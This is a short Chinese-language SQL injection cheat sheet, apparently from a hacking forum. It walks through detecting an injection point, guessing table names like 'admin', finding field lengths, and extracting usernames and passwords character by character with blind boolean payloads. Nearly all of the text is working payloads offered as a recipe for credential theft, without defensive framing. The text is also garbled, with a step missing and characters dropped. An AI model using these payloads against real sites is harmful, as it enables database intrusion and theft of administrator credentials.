1. 判断有无注入点
; and 1=1 and 1=2
2.猜表般表名称无非admin adminuser user pass
password 等..
and 0(select count(*) from *)
and 0(select
count(*) from admin) ---判断否存admin这张表
3.猜帐号数目 如果遇00)--
and 1=(select
count(*) from admin where len(户字段名称name)>0)
and 1=(select count(*) from
admin where len(密码字段名称password)>0)
5.猜解各个字段长度
猜解长度就>0变换 直返回确页面止
and 1=(select count(*) from admin where
len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 误
and 1=(select count(*) from admin where len(name)>5) 确 长度6
and
1=(select count(*) from admin where len(name)=6) 确
and 1=(select
count(*) from admin where len(password)>11) 确
and 1=(select count(*)
from admin where len(password)>12) 误 长度12
and 1=(select count(*) from
admin where len(password)=12) 确
6.猜解字符
and 1=(select count(*) from
admin where left(name,1)=a) ---猜解户帐号第位
and 1= (select count(*) from admin
where left(name,2)=ab)---猜解户帐号第二位
就这样次加个字符这样猜,猜够刚才猜出少位就,帐号就算出
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
这个查询语句以猜解文户密码.只面数字换成文ASSIC码就OK.最结果再转换成字符.
